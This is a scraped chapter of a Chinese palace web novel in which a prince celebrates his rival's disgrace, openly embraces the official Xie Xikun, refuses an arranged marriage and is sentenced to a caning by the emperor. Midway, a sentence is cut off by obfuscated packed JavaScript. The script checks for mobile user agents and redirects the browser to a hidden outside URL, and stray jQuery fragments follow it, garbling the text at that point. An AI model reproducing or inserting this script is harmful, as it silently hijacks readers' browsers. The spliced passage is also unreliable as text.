37.乐极生悲
作品:《疯批王爷求垂怜》 崔仁寿因为证据确凿,很快被定了罪。崔仁寿被处死抄家,封地被收回,所有参与屯兵的人也都处死的处死,流放的流放。
而之前朝中一直热议的三皇子却没有受到任何的惩罚。有人说这是皇后在力保三皇子,也有人说三皇子本来跟崔仁寿就没有关系。
而只有容泽煜自己才知道,从当初的结党营私案,到今日的崔仁寿案,虽然在他的努力之下,都撇清了关系,但是显然父皇那里怀疑的种子却开了花,父皇对自己的信任大不如前。如果不是因为自己的生母是皇后,且皇后的母族在朝中势力颇大,恐怕他早就被收押下狱了。
容泽煜的境地,渐渐地被许多人都发现了,这使得原本一些支持三皇子的墙头草开始观望,有的已经隐隐地有了向着容泽安靠拢的趋势。
容泽安最近心情大好,先是看到容泽煜吃瘪,再就是因为崔仁寿案办得好,宣庆帝已经特许谢曦昆调回了京城。
调令正式下发的那一天,容泽安在京城的月照楼大摆了一桌宴席。
“痛快!”
一杯酒下肚,容泽安觉得浑身上下都舒服极了。
“终于能看到我三弟吃瘪了。他那人,仗着自己是嫡子,每日都是眼高于顶,瞧不起这个,看不上那个的,哈哈哈,想不到他也有今天。”
“殿下,三殿下毕竟明面上看起来没有受到任何的惩罚,您这样直接就认定他不行了,是不是有点为时过早啊?”有跟容泽安关系好的人提醒他,不要笑得太早了,以免给自己日后惹出什么麻烦来。
容泽安挥挥手:“你们不了解我父皇这个人。我父皇不是那种有什么不满能直接说的,他都是把所有的事情都压在心头,然后等到哪天碰到什么事情,直接把过去的事情一并清算。眼下他虽然并未治我三弟的罪,但是以后我三弟也就只能干一些边边角角的轻松活计。你没看最近御书房议事,我父皇都没叫他吗?这要是放以前,他没来都不会开始议事的啊。”
容泽安这样分析完之后,一时之间“恭喜殿下”、“贺喜殿下”的声音此起彼伏地响了起来。许是因为太高兴了,所有来敬酒的人的酒,容泽安纷纷都喝掉了。
谢曦昆在席间一直安静吃菜,甚至于连酒都少喝。容泽安喝完了一圈回来之后,看到谢曦昆安静地坐在那里,仅仅是吃菜也美得像画一样。
这样好看的人是我的。容泽安想着想着,跌跌撞撞地坐回了谢曦昆身边。
“谢曦昆,你不为我高兴吗?”
谢曦昆放下手中的筷子,望向坐在一旁的容泽安,眼里满是平静:“殿下,您喝醉了。”
容泽安:“醉了怎么了?本王今日高兴,就想多喝几杯!怎么谢大人不允许吗?”
谢曦昆淡淡地应道:“微臣不敢,只是担心殿下的贵体。”
容泽安马上高兴起来:“有什么不敢的,本王许你关心,本王就喜欢你担心我的样子。”
容泽安说到高兴处,直接搂过谢曦昆,“吧唧”在谢曦昆脸上亲了一口。
容泽安的真性情倒是让全场的人都不自在,很快有的人开始左顾右盼装作很忙,但又不知道忙什么。有的人转身起来,借口出恭溜掉了,还有人干脆装作喝多了,直接趴在了桌子上。
容泽安揽着谢曦昆的手依旧没有放下,同时另一只手也向下探去,谢曦昆一把抓住了容泽安的手,容泽安这才去看他。
“别在这里。”
谢曦昆的脸泛起了微微的红,容泽安顿了一下,还是遂了他的意。
“麻烦。”
着急的容泽安另一只手直接穿过谢曦昆的膝窝处,打横抱起。猝不及防腾空的谢曦昆下意识地搂了一下容泽安的脖子,就听见容泽安低低的笑声响起,谢曦昆赶紧收回了手,示意他:“放我下来。”
“怎么,不是你说的不要在这里嘛,这就改主意了?”
看着容泽安故意曲解自己的意思,谢曦昆马上闭了嘴,他迅速环顾了一下四周,发现没人在看他和容泽安,就连下人们也都低着头站得很远。
见谢曦昆不说话了,容泽安也没放下手,而是直接走进了屋子中。
容泽安来给宣庆帝请安的时候,以往看到容泽安来,宣庆帝都是很高兴地马上让他平身,可是今日不知为何,容泽安跪了已经有一盏茶的时间,宣庆帝还是一言不发。
常在宣庆帝跟前伺候的康公公见状,上前试图替容泽安解围:“陛下,大殿下还跪着呢。”
宣庆帝仍旧批着手中的折子,对于跪在下面的容泽安是一眼都未看:“怎么,离开京城这么久,让他才跪了这么一会儿,就不行了?”
容泽安赶紧认错:“儿臣久未在父皇跟前尽孝,今日多跪一会儿也是应当的。”
宣庆帝重重地搁下了笔,终于抬眼去看他:“原来你还知道我是你父皇!”
宣庆帝明显就是生气了,可是为何生气,容泽安在心里迅速地转了一圈,仍未可知。
“父皇永远是儿臣的父皇,儿臣自是未有一日忘记。”
容泽安小心翼翼地抬起头:“只是不知儿臣做错了什么,让父皇不喜,父皇一定要告知儿臣,儿臣一定会改,父皇千万莫要因为儿臣气坏了身子。”
宣庆帝死死地盯着容泽安,仿佛要透过他看穿什么似的。
这种如芒在背的感觉,让容泽安越发心虚起来,虽然他也不知道自己到底怎么了,莫不是有人诬告他什么事?容泽安在心里推测着,他有什么事能让人做文章呢。
良久,宣庆帝终于收回了那令人心慌的目光,开口道:“平身吧。”
容泽安这才站起身。
宣庆帝继续翻着手上的折子,状似无意地跟容泽安说道:“安儿呐,你如今也到年纪了,是时候该给你娶妃了。你可有什么钟意的女子吗?”
“回父皇,并无。儿臣还想在父皇跟前多尽孝几年,娶妃的事,不急。”
“你又不是什么小闺女,嫁出去了就不回来了。”宣庆帝把批完的奏折放在一起,一挥手,马上有宫人取了下去。
“给你在外面开个王府,你成了亲也能稳重一些,没事的时候还能多入宫来陪陪朕。”
容泽安还在拒绝:“可是父皇,儿臣如今并无钟意的女子,若是强行凑在一起,也只怕容易变成一对怨偶。”
宣庆帝的耐心似乎已经快要到极限了:“自古婚姻之事都是父母做主,如今朕要为你选妃,你难道还有什么不满不成?”
容泽安再次跪了下来:“父皇,儿臣并无不满,只是儿臣并不喜欢女子,想来也无法与女子做到琴瑟和鸣,所以还是不想耽误
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101698|163079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任何一位女子的一生。”
“容泽安!”
宣庆帝拿起桌上的镇纸重重一拍,容泽安如此直白的话语,简直让他火气飙升,原本听人来报容泽安在宴席之上当众与一男子搂搂抱抱,姿行过密之时,他还并未全信,甚至还想着也许早点给他指上一门亲事,也许就好了,可谁知这小子竟然直接挑明了!
容泽安已经很多年没有听到宣庆帝直呼他的姓名了,他也知道今日在父皇面前说了这些话,一定会引起父皇的震怒的,可只要一想到若是日后他回到家中,等待他的不是谢曦昆,而是一个他不爱,而对方可能也不爱他的人,他就觉得更加难以接受。
宣庆帝被容泽安的话气得直接呛咳起来,好一会儿喝水压下之后,宣庆帝指着容泽安:“容泽安,朕告诉你,你现在收回你刚才的话,朕可以当作刚才什么都没听到。”
容泽安磕了一个头,这一次言简意赅地又说了一遍自己的意思:“父皇,儿臣不喜欢女人,也不想娶妃。”
“混账东西!”宣庆帝终于是再也忍不住了,随手抓起桌上还剩的几封奏折,一股脑地扔到了容泽安身上。
有奏折的折角正好撞到了容泽安的脑门上,宣庆帝许是气得狠了,扔过来的力度极大,只一下就把容泽安的脑门砸出了一个乌青的鼓包。
“你听听你说得是什么话!你不娶妃,你想干什么!”
“儿臣只想做一个自在的王爷逍遥在这世间,不受这世俗的拘束。”
听到容泽安继续顶嘴,宣庆帝站了起来,就要亲自上手教训这不肖子,赶忙让康公公劝住了。
“陛下,切莫气坏了身子。大殿下许是还未成家,所以并未定性。陛下给他一点时间,大殿下定能明白陛下的苦心的。”
宣庆帝用手指着容泽安恨铁不成钢:“康有德,你说说他,是不是被朕惯坏了?”
康公公刚要回话,就被容泽安脱口而出的话打断了:“自我母妃去世之后,父皇眼里不是只有我三弟吗?何时在意过我这个儿子?更何来惯着这一说法?”
“你说什么?”宣庆帝转向容泽安:“你这些年想干什么干什么,想去哪里就去哪里,朕从不阻拦,身为兄长,你看看你哪个弟弟妹妹像你一样没规矩?你三弟从前几年开始就日日跟着朕上朝,学着处理政事,你再看看你,三天打鱼两天晒网,没个长性!现在你又不娶妻,你真是要反了天了!”
“三弟日日上朝还不是觊觎那太子之位,既然父皇有意扶我三弟,还不早点定他为太子,省得我在这里碍人的眼。”
容泽安的话一出,康公公都来不及阻拦,就知道肯定完了。
果然,宣庆帝龙颜大怒,下令把容泽安拉出去杖责五十。
“身为兄长,你不能起表率;身为儿子,你忤逆父母;身为臣子,你不勤于朝政。朕就是以往太纵着你了,才让你今日如此混账。拖出去杖责五十,回去之后,再好好抄写百遍《孝经》!”
康公公见劝不住宣庆帝,记得赶紧去拉容泽安。
“大殿下,您赶紧跟陛下认个错吧,这杖责可不是开玩笑的。”
容泽安咬着牙倔强地不肯说一个字,宣庆帝看着他这个样子,索性拂袖而去,而接着就有人来押着容泽安拖到了大殿门口,一板子一板子地打了下去。